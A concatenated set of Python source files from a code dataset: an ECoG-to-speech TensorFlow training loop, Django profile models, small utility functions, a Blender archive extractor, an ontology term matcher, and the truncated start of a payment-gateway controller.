skip_channels,\n # kernel_size = 8,\n # activation_fn = None, \n # stride = 2, scope = 'downstride2')\n # current_layer = tf.contrib.layers.batch_norm(current_layer, decay = 0.95, is_training = train_phase, reuse = reuse, scope = 'downstride2_norm')\n # current_layer = tf.nn.relu(current_layer)\n # current_layer = tf.nn.dropout(current_layer,keep_prob)\n\n current_layer = conv(current_layer,\n skip_channels,\n kernel_size=1,\n activation_fn = None, \n scope = 'postprocess1')\n current_layer = tf.contrib.layers.batch_norm(current_layer, decay = 0.95, is_training = train_phase, scope = 'postprocess1_norm')\n current_layer = tf.nn.relu(current_layer)\n # current_layer = tf.nn.dropout(current_layer,keep_prob)\n\n conv2 = conv(current_layer,\n depth_,\n kernel_size=1,\n activation_fn = None,\n scope = 'postprocess2')\n\n return conv2[:,:-16],transformed\n\n# def network_wavenet(input_batch, keep_prob, train_phase, reuse=None, name='G'):\n# with tf.variable_scope('generator_common_layers',reuse=reuse):\n# current = conv(input_batch,num_outputs=32,kernel_size=100, scope = 'out', activation_fn=None,stride=1,padding='SAME')\n# return current[:,:-16]#current[:,8:-8]\n\n# def network_wavenet(input_batch, keep_prob, train_phase, reuse=None, name='G'):\n# with tf.variable_scope('generator_common_layers',reuse=reuse):\n# current = tf.layers.flatten(input_batch)\n# current = tf.layers.dense(current,(width_+16)*depth_)\n# current = tf.reshape(current,[-1,width_+16,depth_])\n# return current[:,:-16]#current[:,8:-8]\n \n# def network_wavenet(input_batch, keep_prob, train_phase, reuse=None, name='G'):\n# current = input_batch\n# with tf.variable_scope('generator_common_layers',reuse=reuse): \n# current = res_block_dis(current, num_outputs=32,kernel_size=2,train_phase=train_phase, scope = 'res1', rate = 1,mode='generator')\n# current = res_block_dis(current, num_outputs=32,kernel_size=2,train_phase=train_phase, scope = 'res2', rate = 2,mode='generator')\n# current = res_block_dis(current, num_outputs=32,kernel_size=2,train_phase=train_phase, scope = 'res3', rate = 4,mode='generator')\n# current = res_block_dis(current, num_outputs=32,kernel_size=2,train_phase=train_phase, scope = 'res4', rate = 8,mode='generator')\n# current = res_block_dis(current, num_outputs=32,kernel_size=2,train_phase=train_phase, scope = 'res5', rate = 1, resample='down',mode='generator')\n# current = res_block_dis(current, num_outputs=32,kernel_size=2,train_phase=train_phase, scope = 'res6', rate = 2,mode='generator')\n# current = res_block_dis(current, num_outputs=32,kernel_size=2,train_phase=train_phase, scope = 'res7', rate = 4,mode='generator')\n# current = res_block_dis(current, num_outputs=32,kernel_size=2,train_phase=train_phase, scope = 'res8', rate = 8,mode='generator')\n# current = res_block_dis(current, num_outputs=32,kernel_size=2,train_phase=train_phase, scope = 'res9', rate = 16,mode='generator')\n# current = res_block_dis(current, num_outputs=32,kernel_size=2,train_phase=train_phase, scope = 'res10', rate = 1, resample='down',mode='generator')\n# current = res_block_dis(current, num_outputs=32,kernel_size=2,train_phase=train_phase, scope = 'res11', rate = 2,mode='generator')\n# current = res_block_dis(current, num_outputs=32,kernel_size=2,train_phase=train_phase, scope = 'res12', rate = 4,mode='generator')\n# current = res_block_dis(current, num_outputs=32,kernel_size=2,train_phase=train_phase, scope = 'res13', rate = 8,mode='generator')\n# current = res_block_dis(current, num_outputs=32,kernel_size=2,train_phase=train_phase, scope = 'res14', rate = 16,mode='generator')\n# current = res_block_dis(current, num_outputs=32,kernel_size=2,train_phase=train_phase, scope = 'res15', rate = 32,mode='generator')\n# current = res_block_dis(current, num_outputs=32,kernel_size=2,train_phase=train_phase, scope = 'res16', rate = 1,mode='generator')\n# current = res_block_dis(current, num_outputs=32,kernel_size=2,train_phase=train_phase, scope = 'res17', rate = 2,mode='generator')\n# current = res_block_dis(current, num_outputs=32,kernel_size=2,train_phase=train_phase, scope = 'res18', rate = 4,mode='generator')\n# current = res_block_dis(current, num_outputs=32,kernel_size=2,train_phase=train_phase, scope = 'res19', rate = 8,mode='generator')\n# current = res_block_dis(current, num_outputs=32,kernel_size=2,train_phase=train_phase, scope = 'res20', rate = 16,mode='generator')\n# current = res_block_dis(current, num_outputs=32,kernel_size=2,train_phase=train_phase, scope = 'res21', rate = 32,mode='generator')\n# current = tf.contrib.layers.batch_norm(current, decay = 0.95, is_training = train_phase, reuse = reuse, scope = 'norm1')\n# common = nonlinearity(current,mode='generator')\n# with tf.variable_scope('generator_domain_layers_1'+name,reuse=reuse):\n# out1 = conv(common, num_outputs=32,kernel_size=1, scope = 'out', activation_fn=None)\n# # with tf.variable_scope('generator_domain_layers_2'+name,reuse=reuse):\n# # out2 = conv(common, num_outputs=32,kernel_size=1, scope = 'out', activation_fn=None)\n# return out1[:,8:-8]\n \n# norm_fn = functools.partial(tf.contrib.layers.batch_norm,decay=0.999,fused = True, updates_collections=None)\n\n# def network_wavenet(input_batch, keep_prob, train_phase, reuse=None, name='G'):\n# current = input_batch\n# with tf.variable_scope('generator_common_layers',reuse=reuse):\n# current = conv(current,\n# 32,\n# kernel_size=32,\n# activation_fn = None,\n# scope = 'postprocess1')\n# # current = norm_fn(current, is_training = train_phase, reuse = reuse, scope = 'norm0')\n# # current = nonlinearity(current,'generator')\n# # current = conv(current,\n# # 32,\n# # kernel_size=16,\n# # activation_fn = None, \n# # scope = 'postprocess2')\n# current = res_block_dis(current, num_outputs=32,kernel_size=8,train_phase=train_phase, scope = 'res1', rate = 1,mode='generator')\n# current = res_block_dis(current, num_outputs=32,kernel_size=8,train_phase=train_phase, scope = 'res2', rate = 1,mode='generator')\n# current = res_block_dis(current, num_outputs=32,kernel_size=8,train_phase=train_phase, scope = 'res3', rate = 1,mode='generator')\n# current = res_block_dis(current, num_outputs=32,kernel_size=8,train_phase=train_phase, scope = 'res4', rate = 1,mode='generator')\n# # current = res_block_dis(current, num_outputs=32,kernel_size=2,train_phase=train_phase, scope = 'res5', rate = 1,mode='generator')\n# # current = res_block_dis(current, num_outputs=32,kernel_size=2,train_phase=train_phase, scope = 'res6', rate = 1,mode='generator')\n# # current = res_block_dis(current, num_outputs=32,kernel_size=2,train_phase=train_phase, scope = 'res7', rate = 1,mode='generator')\n# # current = res_block_dis(current, num_outputs=32,kernel_size=2,train_phase=train_phase, scope = 'res8', rate = 1,mode='generator')\n# # current = res_block_dis(current, num_outputs=32,kernel_size=2,train_phase=train_phase, scope = 'res9', rate = 1,mode='generator')\n# # current = res_block_dis(current, num_outputs=32,kernel_size=2,train_phase=train_phase, scope = 'res10', rate = 1,mode='generator')\n# # current = res_block_dis(current, num_outputs=32,kernel_size=2,train_phase=train_phase, scope = 'res11', rate = 1,mode='generator')\n# # current = res_block_dis(current, num_outputs=32,kernel_size=2,train_phase=train_phase, scope = 'res12', rate = 1,mode='generator')\n# # current = res_block_dis(current, num_outputs=32,kernel_size=2,train_phase=train_phase, scope = 'res13', rate = 1,mode='generator')\n# # current = res_block_dis(current, num_outputs=32,kernel_size=2,train_phase=train_phase, scope = 'res14', rate = 1,mode='generator')\n# # current = res_block_dis(current, num_outputs=32,kernel_size=2,train_phase=train_phase, scope = 'res15', rate = 1,mode='generator')\n# # current = res_block_dis(current, num_outputs=32,kernel_size=2,train_phase=train_phase, scope = 'res16', rate = 1,mode='generator')\n# # current = tf.contrib.layers.batch_norm(current, decay = 0.95, is_training = train_phase, reuse = reuse, scope = 'norm1')\n# # common = nonlinearity(current,mode='generator')\n# # with tf.variable_scope('generator_domain_layers_1'+name,reuse=reuse):\n# # out1 = conv(common, num_outputs=32,kernel_size=1, scope = 'out', activation_fn=None)\n# # with tf.variable_scope('generator_domain_layers_2'+name,reuse=reuse):\n# # out2 = conv(common, num_outputs=32,kernel_size=1, scope = 'out', activation_fn=None)\n# return current[:,:-16]\n\n\necog_alldataset, spkr_alldataset, start_ind_alldataset, word_alldataset = read_all_data()\n# Placeholders\nnum_dataset = len(ecog_alldataset)\nx = [tf.placeholder(tf.float32, shape=[None, width, ecog_alldataset[i].shape[-1]]) for i in xrange(num_dataset)] # [None, 28*28]\n# x = tf.placeholder(tf.float32, shape=[None, width+100-1, depth]) # [None, 28*28]\ny_ = tf.placeholder(tf.float32, shape=[None, width_, depth_]) # [None, 10]\nword_window = tf.placeholder(tf.float32, shape=[None, width_, 1]) # [None, 10]\ny_show = tf.placeholder(tf.float32, shape=[None, width_show_, depth_]) # [None, 10]\n# y_show = tf.placeholder(tf.float32, shape=[None, width_show_-100+1, depth_]) # [None, 10]\n# x_show = tf.placeholder(tf.float32, shape=[None, width_show_+16, depth]) # [None, 28*28]\n# y_show_ = tf.placeholder(tf.float32, shape=[None, width_show_, depth_]) # [None, 10]\n# y_spectrom = tf.contrib.signal.stft(tf.squeeze(y_),frame_length=64,frame_step=32)\ninput_dataset = tf.placeholder(tf.int32,shape = [None])\ninput_word = tf.placeholder(tf.int32,shape = [None])\n\n\ndeno = tf.placeholder(tf.float32)\nsub = tf.placeholder(tf.float32)\nidx = tf.placeholder(tf.float32, shape=[10])\nkeep_prob = tf.placeholder(tf.float32)\n\n# Reshape 'x' and 'y' to a 4D tensor (2nd dim=width, 3rd dim=height, 4th dim=Channel)\n# x_spec = tf.reshape(x, [-1,height,width,depth])\n# print(x_spec.get_shape)\n# y_spec_ = tf.reshape(y_, [-1,height_,width_,depth_])\n# print(y_spec_.get_shape)\n\npred,transform = network_wavenet(x, keep_prob,train_phase=True, reuse = None)\n# pred_show = network_wavenet(x_show, keep_prob,train_phase=True, reuse = True)\n# pred_test = network_wavenet(x, keep_prob,train_phase=False, reuse = True)\n# # pred_test = network_wavenet(x, keep_prob,train_phase=True, reuse = True)\n# pred_show = network_wavenet(x_show, keep_prob,train_phase=False, reuse = True)\n# # pred_show = network_wavenet(x_show, keep_prob,train_phase=True, reuse = True)\npred_wav = tf.argmax(\n tf.cast(\n tf.nn.softmax(tf.cast(pred, tf.float64)), tf.float32),\n axis =-1)\n\nwords,word_id = tf.unique(input_word)\nvar_sim = tf.constant(0,dtype=tf.float32)\nfor w in range(num_words):\n # indx = tf.where(tf.equal(word_id,w))[:,0]\n # var_sim += tf.reduce_mean(tf.nn.moments(transform[indx[0]],axes=0)[1])*tf.to_float(tf.shape(indx))\n same_word_indx = [i*num_words+w for i in range(num_dataset)]\n var_sim += tf.reduce_mean(tf.nn.moments(transform[same_word_indx],axes=0)[1])*np.float32(len(same_word_indx))\nvar_sim /= np.float32(num_words*num_dataset)\n\nvar_distinct = tf.constant(0,dtype=tf.float32)\nfor w in range(num_words):\n diff_word_indx = [(i*num_words+w+i)%num_words for i in range(num_dataset)]\n var_distinct += tf.reduce_mean(tf.nn.moments(transform[diff_word_indx],axes=0)[1])*np.float32(len(diff_word_indx))\nvar_distinct /= np.float32(num_words*num_dataset)\n\nloss_trans = tf.maximum(var_sim-var_distinct + Siamese_Margin,0) + var_sim**2\n# loss_trans = (1+40*var_sim**2)/(2*(var_distinct*3)**2) + tf.log(var_distinct*3)\n\n\nl2_loss = tf.add_n([tf.nn.l2_loss(v)\n for v in tf.trainable_variables()\n if not('bias' in v.name)])\nl1_regularizer = tf.contrib.layers.l1_regularizer(\n scale=L1_REG_WEIGHT, scope=None\n)\nl1_loss = tf.contrib.layers.apply_regularization(l1_regularizer, tf.trainable_variables())\n# y_one_hot = tf.one_hot(y_,depth = quantization_channels, dtype = tf.float32)\n\n# losses = tf.nn.softmax_cross_entropy_with_logits(\n# logits=tf.reshape(pred,[-1,quantization_channels]),\n# labels=tf.reshape(y_one_hot,[-1,quantization_channels]))\n# losses = tf.reduce_mean(losses)\n\nwindow = tf.reshape(tf.constant(np.array([-0.5,1]),dtype=tf.float32),[2,1,1,1])\npred_reshape = tf.expand_dims(pred,axis=-1)\ny_reshape = tf.expand_dims(y_,axis=-1)\n# norminator = tf.nn.conv2d(y_reshape**2,window,[1,1,1,1],'SAME')\n# losses = tf.reduce_mean((tf.reduce_mean(tf.squeeze((tf.nn.conv2d(y_reshape-pred_reshape,window,[1,1,1,1],'SAME'))**2,axis=-1),axis=-1))**0.5)\n# denorminator = tf.nn.conv2d((y_reshape-pred_reshape)**2,window,[1,1,1,1],'SAME')\n# losses = tf.reduce_mean(-10*tf.log(norminator/denorminator)/tf.log(10.))\n# losses = tf.reduce_mean((y_-pred)**2)/tf.reduce_mean(y_**2) + L2_REG_WEIGHT * l2_loss\nlosses = tf.reduce_mean((tf.reduce_mean((y_-pred)**2,axis=-1))**0.5) + L2_REG_WEIGHT * l2_loss + SIM_WEIGHT*loss_trans\n# losses = tf.reduce_mean((y_ - pred)**2*(word_window*9+1.0)) + L2_REG_WEIGHT * l2_loss + l1_loss\n# losses = tf.reduce_mean(tf.losses.mean_squared_error(labels=y_, predictions=pred)) + L2_REG_WEIGHT * l2_loss + l1_loss\nlosses_test = tf.reduce_mean((y_ - pred)**2)\n\n\n# losses_show = tf.reduce_mean(tf.losses.mean_squared_error(labels=y_show, predictions=pred_show))\n# losses_test = tf.reduce_mean(tf.losses.mean_squared_error(labels=y_, predictions=pred_test))\n# losses_show = tf.reduce_mean(tf.losses.mean_squared_error(labels=y_show_, predictions=pred_show))\n# losses = tf.reduce_mean(tf.losses.absolute_difference(labels=y_[:,:,:], predictions=pred[:,:,:]))\nupdate_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\nwith tf.control_dependencies(update_ops):\n train_step = tf.train.AdamOptimizer(lr).minimize(losses) # 1e-4\n\ntraining_summary = tf.summary.scalar(\"training_loss\", losses_test)\nvalidation_summary = tf.summary.scalar(\"validation_loss\", losses_test)\n# validation_summary = tf.summary.scalar(\"validation_loss\", losses_show)\n\n# merged = tf.summary.merge_all()\n\nsaver = tf.train.Saver()\n\nsess = tf.InteractiveSession()\n\n\n## Run\n\n\n# Include keep_prob in feed_dict to control dropout rate.\nfor cv in range(1):\n sess.run(tf.global_variables_initializer())\n summary_writer = tf.summary.FileWriter(LOG_DIR, sess.graph)\n testset = get_batch(ecog_alldataset, spkr_alldataset, start_ind_alldataset, word_alldataset, mode = 'test',num_words=num_words,seg_length=width-64/4, threshold = 0.0)\n for i in range(3000): #820\n batch = get_batch(ecog_alldataset, spkr_alldataset, start_ind_alldataset, word_alldataset, mode = 'train',num_words=num_words,seg_length=width-64/4,threshold = 0.0)\n # batch = get_batch(ecog_train, spkrspec_train, filter_width=100,seg_length=width-64/4, batch_size=32, threshold = 0.0)\n # Logging every ?th iteration in the training process.\n if i%10 == 0:\n # train_accuracy = accuracy.eval(feed_dict={x:batch[0], y_: batch[1], deno: batch[2], sub: batch[3], keep_prob: 1.0})\n feed = {}\n feed.update({i:d for i,d in zip(x,batch[0])})\n feed.update({y_: batch[1],input_word:batch[2],keep_prob: 1.0})\n train_loss,var_sim_train, var_distinct_train,l2_loss_,l1_loss_,summary_train = sess.run([losses, var_sim, var_distinct,l2_loss,l1_loss,training_summary], \n feed_dict= feed)\n # train_loss,l2_loss_,l1_loss_,summary_train = sess.run([losses ,l2_loss,l1_loss,training_summary], \n # feed_dict={ i:d for i,d in zip(x,batch[0]),\n # y_: batch[1],\n # input_word:batch[2],\n # # word_window: batch[2],\n # keep_prob: 1.0})\n\n # testset = get_batch_show(ecog_test, spkrspec_test,start_ind_test,seg_length=512/4)\n # testset_x = np.expand_dims(ecog_test[16:],0)\n # testset_y = np.expand_dims(spkrspec_test[0:-32],0)\n # testset_y = np.expand_dims(spkrspec_test[0+50:-32-50+1],0)\n # test_loss,summary_validate = sess.run([losses_show,validation_summary], feed_dict={ x_show:testset_x,\n # y_show: testset_y,\n # keep_prob: 1.0})\n feed = {}\n feed.update({i:d for i,d in zip(x,testset[0])})\n feed.update({y_: testset[1],input_word:testset[2],keep_prob: 1.0})\n test_loss,var_sim_test,var_distinct_test,summary_validate = sess.run([losses_test,var_sim,var_distinct,validation_summary],\n feed_dict=feed)\n summary_writer.add_summary(summary_train, i) \n summary_writer.add_summary(summary_validate, i)\n print(\"Step %d, Training Losses %g, Test Losses %g, var_sim_train %g, var_sim_test %g,var_distinct_train %g, var_distinct_test %g, l2_loss %g, l1_loss %g\" %(i, train_loss, test_loss, var_sim_train,var_sim_test,var_distinct_train,var_distinct_test,l2_loss_,l1_loss_))\n \n feed = {}\n feed.update({i:d for i,d in zip(x,batch[0])})\n feed.update({y_: batch[1],input_word:batch[2],keep_prob: 0.5}) \n sess.run(train_step,feed_dict=feed)\n\n if i%50== 49:\n LOG_DIR_RESULT_step = LOG_DIR_RESULT + '/step_' + str(i) +'/'\n if not os.path.exists(LOG_DIR_RESULT_step):\n os.makedirs(LOG_DIR_RESULT_step)\n # for j in range(10):\n\n # testset = get_batch_show(ecog_test, spkrspec_test,start_ind_test,seg_length=512/4)\n # batch = get_batch_show(ecog_train, spkrspec_train,start_ind_train,seg_length=512)\n # testset = get_batch(ecog_test, spkrspec_test, seg_length=width-64, batch_size=32, threshold = 1.2) ###########################################################################\n batch = get_batch(ecog_alldataset, spkr_alldataset, start_ind_alldataset, word_alldataset , mode = 'train',num_words=num_words,seg_length=width-64/4, threshold = 0.0)\n # batch = get_batch(ecog_train, spkrspec_train,filter_width=100,seg_length=width-64/4, batch_size=32,threshold = 0.0)\n # test_accuracy = accuracy.eval(feed_dict={x: testset[0], y_1: testset[1], deno: batch[2], sub: batch[3], keep_prob: 1.0})\n # test_losses, final_result_1, final_result_2 = sess.run([losses_sup, pred_1, pred_2], \n # feed_dict={ #x: testset[0], \n # y_1: testset[1],\n # z: noise,\n # # keep_prob: 1.0})\n # test_losses, final_result= sess.run([losses_show, pred_show], \n # feed_dict={ x_show: testset_x, \n # y_show: testset_y,\n # keep_prob: 1.0})\n feed = {}\n feed.update({i:d for i,d in zip(x,testset[0])})\n feed.update({y_: testset[1],input_word:testset[2],keep_prob: 1.0}) \n test_losses, final_result= sess.run([losses_test, pred], \n feed_dict=feed)\n feed = {}\n feed.update({i:d for i,d in zip(x,batch[0])})\n feed.update({y_: batch[1],input_word:batch[2],keep_prob: 1.0}) \n final_result_train = sess.run(pred, \n feed_dict=feed)\n\n # gt_save_test = testset_y\n gt_save_test = testset[1]\n gt_save_train = batch[1]\n # scipy_io.savemat(LOG_DIR_RESULT+'pred_index'+str(j)+'.mat', dict([('pred_index',result_index)]))\n scipy_io.savemat(LOG_DIR_RESULT_step+file_name+'_'+timestr+'_step_'+str(i)+'_GT_STFT_test_cv_'+str(cv)+'.mat', dict([('GT_STFT_test',gt_save_test)]))\n # scipy_io.savemat(LOG_DIR_RESULT_step+'input_STFT_test'+str(j)+'.mat', dict([('input_STFT_test',testset[0])]))\n # scipy_io.savemat(LOG_DIR_RESULT_step+'out_test'+str(j)+'.mat',dict([('out0_test',out_[0]),('out1_test',out_[1]),('out2_test',out_[2]),('out3_test',out_[3])]))\n result_to_save = np.asarray(final_result)\n scipy_io.savemat(LOG_DIR_RESULT_step+file_name+'_'+timestr+'_step_'+str(i)+'_pred_STFT_test_cv_'+str(cv)+'_loss_'+str(test_losses)+'.mat', dict([('pred_STFT_test',result_to_save)]))\n # result_to_save_2 = np.asarray(final_result_2)\n # scipy_io.savemat(LOG_DIR_RESULT_step+'pred_STFT_test_2_'+str(j)+'.mat', dict([('pred_STFT_test_2',result_to_save_2)]))\n\n scipy_io.savemat(LOG_DIR_RESULT_step+file_name+'_'+timestr+'_step_'+str(i)+'_GT_STFT_train_cv_'+str(cv)+'.mat', dict([('GT_STFT_train',gt_save_train)]))\n # # scipy_io.savemat(LOG_DIR_RESULT_step+'input_STFT_train'+str(j)+'.mat', dict([('input_STFT_train',batch[0])]))\n # # scipy_io.savemat(LOG_DIR_RESULT_step+'out_train'+str(j)+'.mat',dict([('out0_train',out_train[0]),('out1_train',out_train[1]),('out2_train',out_train[2]),('out3_train',out_train[3])]))\n result_to_save = np.asarray(final_result_train)\n scipy_io.savemat(LOG_DIR_RESULT_step+file_name+'_'+timestr+'_step_'+str(i)+'_pred_STFT_train_cv_'+str(cv)+'.mat', dict([('pred_STFT_train',result_to_save)]))\n\n scipy_io.savemat(LOG_DIR_RESULT_step+file_name+'_'+timestr+'_step_'+str(i)+'mse_cv_'+str(cv)+'.mat', dict([('pred_STFT_train',test_losses)]))\n print(\"Avg Test Losses %g\" %(test_losses))\n\n saver.save(sess, LOG_DIR+'/model'+'_step_3000_cv'+str(cv))\n\n \nsummary_writer.close() \n\n\n\n\"\"\"\nECOG 16*t*128\n maybe 16*t*96\nSpeech 128*t*2\n\n1st 32*t*32\n2nd 64*t*8\n3rd 128*t*2\n\nchannel 128 -> 32 -> 8 -> 2\n or 96 -> 32 -> 8 -> 2\n\"\"\"","sub_path":"myCNN2_wavenet_stft_cv_mergenet.py","file_name":"myCNN2_wavenet_stft_cv_mergenet.py","file_ext":"py","file_size_in_byte":30858,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"442743853","text":"\nfrom django.db import models\nfrom django.core.validators import RegexValidator\nfrom django.contrib.auth.models import User\nfrom django.db.models.signals import post_save\n\nclass RegisterModel(models.Model):\n store_name = models.CharField(max_length=240)\n tax_regex = RegexValidator(regex=r'^\\+?1?\\d{9,10}$')\n tax_number = models.CharField(validators=[tax_regex], max_length=10, blank=True) # validators should be a list\n account_name = models.CharField(max_length=120,blank=False)\n account_surname = models.CharField(max_length=120,blank=False)\n phone_regex = RegexValidator(regex=r'^\\+?1?\\d{9,15}$')\n phone_number = models.CharField(validators=[phone_regex], max_length=17, blank=True) # validators should be a list\n store_phone = models.CharField(validators=[phone_regex], max_length=17, blank=True) # validators should be a list\n store_adress =models.TextField(max_length=1000,blank=False)\n passwordone = models.CharField(max_length=16,blank=False)\n passwordtwo = models.CharField(max_length=16, blank=False)\n\n\n\n def __str__(self):\n return self.store_name\n\n\ndef upload_to(instance,filename):\n return \"%s/%s/%s\"%('profil_photo',instance.user.username,filename)\n\n\nclass UserProfile(models.Model):\n ERKEK = 'E'\n KADIN = 'K'\n OTHER = 'O'\n CINSIYET = ((ERKEK ,'Erkek'),\n (KADIN,'Kadın'),\n (OTHER,'Belirtmek İstemiyorum')\n )\n FOLLOWING = 'F'\n PUBLIC = 'P'\n VISIBLE = ((FOLLOWING,'FOLLOWING'),(PUBLIC,'PUBLIC'))\n\n visible = models.CharField(choices=VISIBLE,max_length=1,default=1,verbose_name='Profil Görüntüsü')\n user = models.OneToOneField(User,on_delete=models.CASCADE,verbose_name='user')\n cinsiyet = models.CharField(max_length=1,choices=CINSIYET,default=3,verbose_name='Cinsiyet')\n telefon = models.CharField(max_length=11,verbose_name='Telefon numarası',blank=True)\n hakkinda = models.TextField(max_length=600,blank=True,verbose_name='Hakkımda')\n aktivite = models.CharField(max_length=240,verbose_name='Sevdiğiniz birkaç aktivite giriniz',blank=True)\n birth_day = models.DateField(blank=True,verbose_name='Doğum Tarihi',null=True)\n profil_photo = models.ImageField(upload_to=upload_to,verbose_name='Porfil Fotoğrafı',default='profile_default/default_profile.png',blank=False,null=True)\n\n @property\n def image_url(self):\n if self.profil_photo and hasattr(self.profil_photo, 'url'):\n return self.profil_photo.url\n\n class Meta:\n verbose_name='Kullanıcı bilgisi'\n verbose_name_plural = 'Kullanıcı Bilgileri'\n\n\n\n def __str__(self):\n return '%s Profil Bilgileri'%(self.user.username)\n\n def create_user_profile(instance,created,**kwargs):\n if created:\n UserProfile.objects.create(user=instance)\n\n post_save.connect(receiver=create_user_profile,sender=User)\n\n\n","sub_path":"UserStore/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"576487030","text":"import math\n\n\ndef multiply(n, m):\n return n * m\n\n\ndef sum_n(n):\n sm = 0\n for i in range(1, n + 1):\n sm = sm + i\n\n return sm\n\n\ndef is_prime(n):\n if n == 2:\n return True\n for i in range(2, int(math.sqrt(n))):\n if n % i == 0:\n return False\n\n return True\n\n\nprint(\"first func : multy .... \\n\")\nn = int(input(\"first func :\"))\nm = int(input(\" m = \"))\nprint(multiply(n, m))\n\nprint(\"now going to second func :\\n \")\nn = int(input(\"second func : \"))\nprint(sum_n(n))\n\nn = int(input(\"third func :\"))\nprint(is_prime(n))\n","sub_path":"S04/function.py","file_name":"function.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"173021257","text":"from typing import List\n\nimport defs\nfrom entity import Biotope, SearchEntity, EntityType\n\n\nclass ExactMatch(object):\n\n def __init__(self, ontobiotope: List[Biotope]):\n self.ontobiotope = ontobiotope\n\n def match_all(self, doc_list: List[List[SearchEntity]], weighted=False):\n return [self.match_terms(doc, weighted) for doc in doc_list]\n\n def match_terms(self, term_list: List[SearchEntity], weighted=False):\n return [self.match_term(term, weighted) for term in term_list]\n\n def match_term(self, term: SearchEntity, weighted=False):\n\n if term.type == EntityType.microorganism:\n return {'type': 'N', 'annotation': term.id, 'ref': '727'}\n elif term.type == EntityType.phenotype:\n return {'type': 'O', 'annotation': term.id, 'ref': '002762'}\n elif weighted:\n return self.weighted_match_term(term)\n matched_id = '003381'\n\n for id in self.ontobiotope:\n biotope = self.ontobiotope[id]\n\n if term.name == biotope.name: return {'type': 'O', 'annotation': term.id, 'ref': id} # match exact habitat\n if term.name.lower() == biotope.name: return {'type': 'O', 'annotation': term.id,\n 'ref': id} # try lowercased-term\n if term.name[0:-1] == biotope.name: return {'type': 'O', 'annotation': term.id,\n 'ref': id} # in case plural from of term\n synonyms = [synonym.name for synonym in biotope.synonyms]\n for s in synonyms:\n if term.name == s: return {'type': 'O', 'annotation': term.id, 'ref': id} # try synonym\n if term.name.lower() == s: return {'type': 'O', 'annotation': term.id, 'ref': id}\n\n is_as = biotope.is_as\n for is_a in is_as:\n if term.name == self.ontobiotope[is_a].name: matched_id = id\n\n return {'type': 'O', 'annotation': term.id, 'ref': matched_id}\n\n def weighted_match_term(self, term: SearchEntity):\n\n match_scores = {}\n\n for id in self.ontobiotope:\n match_scores[id] = 0\n biotope = self.ontobiotope[id]\n synonyms = [(synonym.type, synonym.name_list) for synonym in biotope.synonyms]\n is_as_name_list = [self.ontobiotope[is_a].name_list for is_a in biotope.is_as]\n\n for name in term.name_list:\n if len(name) > 0:\n if (name in biotope.name_list or name[0].lower() + name[1:] in biotope.name_list\n or name[0:-1] in biotope.name_list):\n match_scores[id] += (1 / len(biotope.name_list))\n\n synonym_score = 0\n for (synonym_type, synonym_name_list) in synonyms:\n alpha = 0.8 # if synonym_type == SynonymType.exact else 0.25\n if (name in synonym_name_list or name[0].lower() + name[1:] in\n synonym_name_list or name[0:-1] in synonym_name_list):\n synonym_score += alpha / (len(synonym_name_list))\n match_scores[id] += min(synonym_score, 1)\n\n is_a_score = 0\n beta = 0.5\n for is_a in is_as_name_list:\n if (name in is_a or name[0].lower() + name[1:] in is_a or\n name[0:-1] in is_a):\n is_a_score += beta / len(is_a)\n match_scores[id] += min(is_a_score, 1)\n\n match_id = id\n match_score = 0\n for idx in match_scores:\n if match_scores[idx] > match_score:\n match_id = idx\n match_score = match_scores[idx]\n\n return {'type': 'O', 'annotation': term.id, 'ref': match_id, 'score': match_score}\n\n\ndef create_eval_file(predictions: List[List[dict]], file_names):\n for i, prediction_list in enumerate(predictions):\n dir = defs.OUTPUT_PATH\n file_name = file_names[i].split('\\\\')[-1][0:-3] + '.a2'\n with open(dir + file_name, 'w') as file:\n for j, prediction in enumerate(prediction_list):\n typ = '\\tOntoBiotope Annotation:' if prediction['type'] == 'O' else '\\tNCBI_Taxonomy Annotation:'\n annotation = prediction['annotation']\n ref = ' Referent:OBT:' + prediction['ref'] + '\\n' if prediction['type'] == 'O' else \\\n ' Referent:' + prediction['ref'] + '\\n'\n line = 'N' + str(j + 1) + typ + annotation + ref\n file.write(line)\n","sub_path":"bb_normalizer.py","file_name":"bb_normalizer.py","file_ext":"py","file_size_in_byte":4631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"635562165","text":"__author__ = \"Satish Goda \"\n\n__doc__ = \"\"\"\nExtracts a Blender distribution archive using zipfile or shutil module.\n\"\"\"\n\ndef extract_archive_using_zipfile(archive, destination):\n import zipfile\n zf = zipfile.ZipFile(archive)\n zf.extractall(path=destination)\n\n\ndef extract_archive_using_shutil(archive, destination):\n import shutil\n shutil.unpack_archive(archive, \n extract_dir=destination)\n\n\ndef delete_archive(archive):\n import os\n os.remove(archived_blender)\n\n\ndef extract_archive(archive, destination, strategy):\n if strategy == 'zipfile':\n extract_archive_using_zipfile(archive, destination)\n elif strategy == 'shutil':\n extract_archive_using_shutil(archive, destination)\n\n\narchived_blender = r\"\"\"C:\\Users\\satish.goda\\Downloads\\blender-2.91.0-b0f34eee30c4-windows64.zip\"\"\"\nunarchived_blender_root = r\"\"\"C:\\prod\\tools\\blender\"\"\"\n\n\nextract_archive(archived_blender, unarchived_blender_root, 'shutil')\n\ndelete_archive(archived_blender)\n","sub_path":"install/extract_blender_archive.py","file_name":"extract_blender_archive.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"448831544","text":"# -*- coding: utf-8 -*-\nfrom odoo import http\nimport json\nimport logging\nimport pprint\nfrom odoo import http\nfrom odoo.http import request\nfrom odoo import api, fields, models, _\nimport func\n\n_logger = logging.getLogger(__name__)\n\n\nclass CtChanpayWebsite(http.Controller):\n _return_url = '/payment/chanpay/ipn'\n _notify_url = '/payment/chanpay/ipn/'\n https_verify_url = 'https://mapi.alipay.com/gateway.do?service=notify_verify&'\n http_verify_url = 'http://notify.alipay.com/trade/notify_query.do?'\n ALIPAY_PUBLIC_KEY_PATH = 'rsa_public_key.pem'\n\n def _get_return_url(self, **post):\n \"\"\" Extract the return URL from the data coming from alipay. \"\"\"\n return_url = post.pop('return_url', '')\n if not 